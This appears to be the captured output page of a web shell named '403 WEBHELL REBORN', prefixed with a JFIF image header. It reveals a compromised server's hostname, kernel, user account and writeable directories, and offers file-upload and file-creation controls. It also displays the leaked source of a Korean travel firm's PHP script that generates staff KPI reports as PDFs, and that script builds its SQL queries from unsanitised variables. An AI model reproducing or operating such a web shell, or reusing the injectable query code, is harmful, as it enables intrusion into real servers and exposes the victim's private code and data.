ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/TCPDF/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/TCPDF/erp/pdf_intranet_kpi.php
<?php
ob_start();
include "../../include/top_pdf.html";

$mb_id = $TK_MEMBER['mb_id'];

// 직원 여부 체크
$query = "select * from TB_MEMBER where mb_id ='$mb_id' and del_flag='N' and mb_level <= 3";
$result = db_query( $query );
$agent_row = db_fetch_array( $result );
if( !$agent_row ){
	error('올바르지 않은 직원입니다.', '0003');
}

// Today
$today = date('Y-m-d');
if(!$kpi_month) $kpi_month = date('Y-m');
$kpi_year = substr($kpi_month, 0, 4);

// 월별 수익 데이터
$sql = "SELECT SUBSTR(ins_dt, 6, 2) ins_month, (sum(sales_total) + sum(agent_total) - sum(buy_total)) AS total_profit FROM TB_RES_GOOD R WHERE res_stat_cd!='D' AND admin_id = '$mb_id' AND SUBSTR(ins_dt,1,4) = '{$kpi_year}' GROUP BY ins_month";

$rs = db_query($sql);
while($row=db_fetch_array($rs)) {
	$ins_month = (int)$row['ins_month'];
	$data_profit[$ins_month] = $row['total_profit'];
}

// KPI 데이터
$sql_order = "kpi_date asc, kpi_seq asc";
$sql_where = "where ins_id = '$mb_id' and SUBSTR(kpi_date, 1, 7) = '{$kpi_month}'";
$data_kpi = TO_member_get_kpi($sql_where,$sql_order);

// Include the main TCPDF library (search for installation path).
require_once('tcpdf_include.php');


// Page footer
class MYPDF extends TCPDF {

	//Page header
	public function Header() {
		// Logo
		//$image_file = K_PATH_IMAGES.'logo_example.jpg';
		//$this->Image($image_file, 10, 10, 15, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);
		// Set font
		//$this->SetFont('helvetica', 'B', 20);
		// Title
		$this->Cell(0, 0, '', 0, false, 'C', 0, '', 0, false, 'M', 'M');
	}

	// Page footer
	public function Footer() {
		// Position at 15 mm from bottom
		$this->SetY(-15);
		// Set font
		$this->SetFont('helvetica', 'I', 8);
		// Page number
		//$this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');
	}
}

// create new PDF document
//$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf = new MYPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('Nicola Asuni');
$pdf->SetTitle('TKTRAVEL KPI');
$pdf->SetSubject('TKTRAVEL');
$pdf->SetKeywords('TCPDF, PDF, estimate, invoice, voucher');

// set default header data
//$pdf->SetHeaderData(HEADER_INVOICE_TKTRAVEL, PDF_HEADER_TKTRAVEL_WIDTH, '', '');

// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));

// set default monospaced font
$pdf -> SetDefaultMonospacedFont("nanumgothic");

//$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//$pdf->SetFont('CID0KR', '', 10);

// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

// set some language-dependent strings (optional)
if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {
	require_once(dirname(__FILE__).'/lang/eng.php');
	$pdf->setLanguageArray($l);
}

// ---------------------------------------------------------

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Print a table

// set font
//$pdf->SetFont('CID0KR', '', 10);
$pdf->SetFont('nanumgothic', '', 8);
//$pdf->SetFont('nanumgothic', '', 8); ## 폰트 종류,스타일,크기 지정
$pdf->SetTextColor(33,33,33);

// add a page
$pdf->AddPage();
// create some HTML content
// Set some content to print

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$html = '
<style>
table {margin:0;font-color:#888;}

.kpi_title {font-size:30px; text-align:center; font-weight:900;}
.kpi_info {font-size:15px; line-height:25px;}

.sub_title {width:100%; height:40px; line-height:40px; display:block; font-size:15px;}

.mtable{width:100%;border-collapse:collapse;border-spacing:1; font-color:#888; border-top:1px solid #000;}
.mtable th{background-color:#d6d6d6; border-bottom:1px solid #ebebeb; font-weight:normal;text-align:center;display:inline-block;vertical-align:middle;font-size:15px;}
.mtable td{border-top:1px solid #ebebeb; border-bottom:1px solid #ebebeb; text-align:center; vertical-align:middle; font-size:15px;}

.qtable{width:100%;border-collapse:collapse;border-spacing:1; font-color:#888;}
.qtable th{background-color:#d6d6d6; border-right:1px solid #ebebeb; font-weight:normal; text-align:center;display:inline-block;vertical-align:middle;font-size:13px;}
.qtable td{border-right:1px solid #ebebeb; border-bottom:1px solid #ebebeb; text-align:center;font-size:13px;}
.qtable td.br_none{border-right:none !important;}
.qtable .total{border-top:1px solid #000; border-right:1px solid #d6d6d6;}

.ntable {width:100%;border-collapse:collapse;border-spacing:1; font-color:#888; border:1px solid #DDD;}

</style>
';

$html .= '
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="kpi_info">
		<tr>
			<td colspan="2" class="kpi_title"><img src="images/header_kpi.png" border="0" width="270" /></td>
		</tr>

		<tr>
			<td colspan="2">
				■ KPI 실적 기간 : '.date('Y년 m월 1일', strtotime($kpi_month)).' ~ '.date('Y년 m월 t일', strtotime($kpi_month)).'
			</td>
		</tr>
		<tr>
			<td valign="top">
				■ 보고자 : ' . $TK_MEMBER['mb_nm'] . ' / ' . $TK_MEMBER['MemberLevelName'] . '
			</td>
			<td style="text-align:right;">
				Date : ' . date('Y. m. d') . '
			</td>
		</tr>
		<tr>
			<td colspan="2">
				<div style="font-size:5pt">&nbsp;</div>
			</td>
		</tr>
	</table>
';

////////////////// 월별 성과
$html .= '
<table width="100%" border="0" cellspacing="0" cellpadding="5" class="mtable">
';
				for($i=1; $i < 7; $i++) {
					$html .= '
	<tr>
		<th width="15%" align="center" style="vertical-align:center;">' . $i . '월</th>
		<td width="35%" align="center">' . number_format($data_profit[$i]) . '원</td>
		<th width="15%" align="center">' . ($i + 6) . '월</th>
		<td width="35%" align="center">' . number_format($data_profit[$i+6]) . '원</td>
	</tr>
	';
				}
$html .= '
</table>

<table>
	<tr><td><div style="font-size:10pt">&nbsp;</div></td></tr>
	<tr><td style="border-top:solid 1px #ddd;"><div style="font-size:10pt">&nbsp;</div></td></tr>
</table>
';

////////////////// 주요 업무 내용
$html .= '
<!-- ITEM DETAILS -->
<div class="sub_title">■ 주요 업무 내용 보고 (※대표자의 별도 지시사항 및 개발 & 디자인은 KPI로 인정됨)</div>
<table width="100%" border="0" cellspacing="1" cellpadding="7" class="qtable">
	<tr>
		<th width="5%">#</th>
		<th width="13%">날짜</th>
		<th width="60%">업무내용</th>
		<th width="7%">승인</th>
		<th width="15%">확인</th>
	</tr>
';
foreach($data_kpi as $k => $v){
	$html .= '
	<tr>
		<td>'.($k + 1).'</td>
		<td>'.date('n월 j일', strtotime($v['kpi_date'])).'</td>
		<td align="left">'.$v['kpi_content'].'</td>
		<td>
			<table style="width:30px; border:1px solid #DDD;" align="center"><tr><td></td></tr></table>
		</td>
		<td class="br_none"></td>
	</tr>
	';
}
$html .= '
	<tr>
		<th colspan="4" align="left" class="total">Grand Total</th>
		<th align="center" class="total">' . count($data_kpi) . '건</th>
	</tr>
</table>
<!-- //ITEM DETAILS -->

<table>
	<tr><td><div style="font-size:10pt">&nbsp;</div></td></tr>
	<tr><td style="border-top:solid 1px #ddd;"><div style="font-size:10pt">&nbsp;</div></td></tr>
</table>
';

$html .= '
<div class="sub_title">■ 다음달 업무 계획 보고</div>
<table width="100%" border="0" cellspacing="1" cellpadding="7" class="ntable">
	<tr>
		<td height="100"></td>
	</tr>
</table>
';


// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');
// reset pointer to the last page
$pdf->lastPage();

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ob_end_clean();
//Close and output PDF document
$filename = "tktravel_kpi_" . str_replace("-", "", $use_dt) . "_" . date("ymdHis") . ".pdf";
$pdf->Output($filename, 'D');
//$pdf->Output($filename, 'I');
ob_end_flush();
//============================================================+
// END OF FILE
//============================================================+

Anon7 - 2021